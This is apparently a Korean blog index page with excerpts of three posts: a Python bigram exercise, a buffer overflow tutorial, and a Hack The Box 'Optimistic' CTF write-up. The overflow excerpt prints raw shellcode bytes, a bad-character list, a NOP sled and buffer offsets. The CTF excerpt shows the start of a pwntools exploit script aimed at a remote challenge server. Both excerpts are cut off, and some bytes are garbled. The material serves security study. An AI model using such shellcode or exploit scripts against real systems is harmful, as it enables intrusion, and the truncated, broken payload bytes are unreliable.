호그와트 358

우리 모두 홍진호가 되어봅시다 우리 모두 홍진호가 되어봅시다

#입력된 문자를 2-gram 방식으로 출력 #2-gram 방식이란 문자열에서 2개의 연속된 요소를 나눠서 출력하는 방법 text = input() text += '' for i in range(0, len(text)-1): print(text[i]+text[i+1],'\n') ''' import nltk def generate_bigrams(text): tokens = nltk.word_tokenize(text) return nltk.bigrams(tokens) text = input() bigrams = generate_bigrams(text) # Print the generated bigrams for bigram in bigrams: print(bigram) '''

호그와트 2022.12.15

이것만 읽어서는 절대로 이해할 수 없는 버퍼 오버플로우 공격(친절함 없음 주의)

\x00\x09\x0a\x20 "\xda\xca\xba\xe4\x11\xd4\x5d\xd9\x74\x24\xf4\x58\x29\xc9\xb1" "\x12\x31\x50\x17\x03\x50\x17\x83\x24\x15\x36\xa8\x95\xcd\x41" \xad\xec\xa 0\x04\x5a\x22\xa2” 0xfffffffff F A9AA AAAE 0xfa9aaaaae Buffer = "\x55" * (1040 - 124 - 95 - 4) = 817 NOPs = "\x90" * 124 Shellcode = "\xd9\xeb\xd9\x74\x24\xf4\xb8\x5d\x41\x80\x61\x5b\x2b\xc9\xb1\x12\x31\x43\x17\x03\x43\x17\x83\xb6\xbd\x62\x94\..

호그와트 2022.12.14

Hack the box Optimistic

이건 보너스 사진 오우야 disas main 하니까 살벌하네요 흠냐 기본적인 메커니즘은 매우 쉽게 구성되어 있었습니다 제 친구인 인공지능에게 물어보니 아주 친절하게 설명해주는군요 그래서 요로코롬 쨔란 이렇게 하시면 됩니다 어차피 0pts이니 공개합니당 from pwn import * target = './optimistic' elf = context.binary = ELF(target, checksec=False) context.log_level = 'debug' p = remote("178.62.88.144", 30216) #p = process('./optimistic') p.sendlineafter(b":", "y") p.recvuntil(b"Great! Here's a small welcome g..

호그와트 2022.12.13